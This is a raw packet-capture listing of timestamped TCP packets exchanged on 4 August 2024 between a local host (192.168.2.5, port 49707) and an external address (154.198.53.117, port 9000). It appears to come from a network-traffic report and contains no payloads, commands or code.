Aug 4, 2024 12:55:04.629272938 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629287958 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629302979 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629333973 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629374027 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629389048 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629424095 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629436970 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629479885 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629484892 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629499912 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629545927 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629586935 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629602909 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629616976 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629630089 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.629662037 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629692078 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.629724979 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631551027 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631562948 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631577969 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631601095 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.631623030 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631623983 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.631639957 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631683111 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.631761074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631783009 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631797075 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631812096 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631827116 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631830931 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.631851912 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.631968021 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631983042 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.631995916 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632010937 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632011890 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632025003 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632040977 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632049084 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632055998 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632069111 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632102013 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632204056 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632219076 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632232904 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632246971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632257938 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632261992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632277012 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632298946 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632323980 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632388115 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632402897 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632416964 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632433891 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632443905 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632503033 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632536888 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632551908 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632565975 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632577896 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632599115 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632632017 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.632863045 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632913113 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632934093 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.632967949 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633007050 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633021116 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633037090 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633052111 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633052111 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633089066 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633131027 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633182049 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633570910 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633619070 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633635998 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633651972 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633666039 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633698940 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633728981 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633744955 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633800983 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.633819103 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633833885 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.633878946 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.634356022 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634397984 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634413004 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634443998 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.634484053 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634499073 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634514093 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634529114 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.634537935 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.634562969 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.677417040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677442074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677457094 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677565098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677580118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677582979 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.677582979 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.677597046 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677629948 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.677686930 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.677767038 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.712876081 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.712892056 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.712914944 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.712929964 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.712966919 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.712999105 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.713006020 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.713015079 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.713073969 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.713092089 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.713107109 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.713150978 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.714445114 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714499950 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714514971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714550972 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.714651108 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714664936 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714679956 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714694023 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714704037 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.714709997 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714739084 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.714768887 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.714982986 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.714996099 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715012074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715027094 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715042114 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715054989 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715054989 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715070009 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715085030 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715096951 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715097904 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715104103 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715125084 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715136051 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715140104 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715152979 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715169907 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715173960 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715198040 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715411901 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715426922 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715450048 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715465069 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715464115 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715485096 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715498924 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715500116 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715522051 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715533972 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715536118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715550900 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715564966 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715569019 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715580940 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715610981 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715626955 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715815067 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715830088 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715846062 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.715873957 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.715987921 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716002941 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716017962 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716036081 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716072083 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716072083 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716094971 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716140985 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716195107 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716209888 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716249943 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716474056 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716511965 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716527939 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716542006 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716556072 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716600895 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716602087 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716625929 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716640949 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716671944 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716722012 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716737986 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716753006 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716768026 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.716775894 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.716799021 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.718569040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718594074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718609095 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718619108 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.718648911 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.718717098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718732119 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718781948 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.718888998 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718904018 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718924999 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718940020 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718947887 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.718955040 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.718990088 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719160080 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719176054 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719208002 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719317913 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719333887 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719347954 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719360113 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719363928 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719379902 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719394922 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719396114 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719430923 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719487906 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719512939 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719527960 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719538927 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719541073 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719554901 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719571114 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719587088 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719599962 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719607115 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719616890 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719631910 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719640970 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719657898 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719672918 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719675064 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719716072 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719849110 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719904900 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719919920 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719950914 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.719953060 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.719975948 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720012903 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720063925 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720079899 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720094919 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720110893 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720134974 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720561981 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720577955 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720592022 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720617056 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720649958 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720664978 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720679998 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720694065 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720729113 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.720769882 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720784903 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.720832109 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.721220970 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721280098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721295118 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721324921 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.721359968 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721374989 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721410036 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.721450090 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721465111 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.721496105 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.762516975 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.763155937 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763187885 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763241053 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763247967 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.763292074 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763324976 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763343096 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.763356924 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763390064 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763405085 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.763425112 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.763472080 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.799907923 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.799962997 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.799993992 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.800018072 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.800026894 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.800060034 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.800087929 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.800137043 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.800172091 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.800190926 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801361084 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801410913 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801412106 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801445007 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801476955 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801495075 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801512003 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801561117 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801562071 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801611900 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801642895 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801654100 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801676035 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801719904 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801723957 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801758051 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801793098 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801799059 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801831007 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801862955 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801879883 CEST	49707	9000	192.168.2.5	154.198.53.117
Aug 4, 2024 12:55:04.801898003 CEST	9000	49707	154.198.53.117	192.168.2.5
Aug 4, 2024 12:55:04.801927090 CEST	9000	49707	154.198.53.117	192.168.2.5
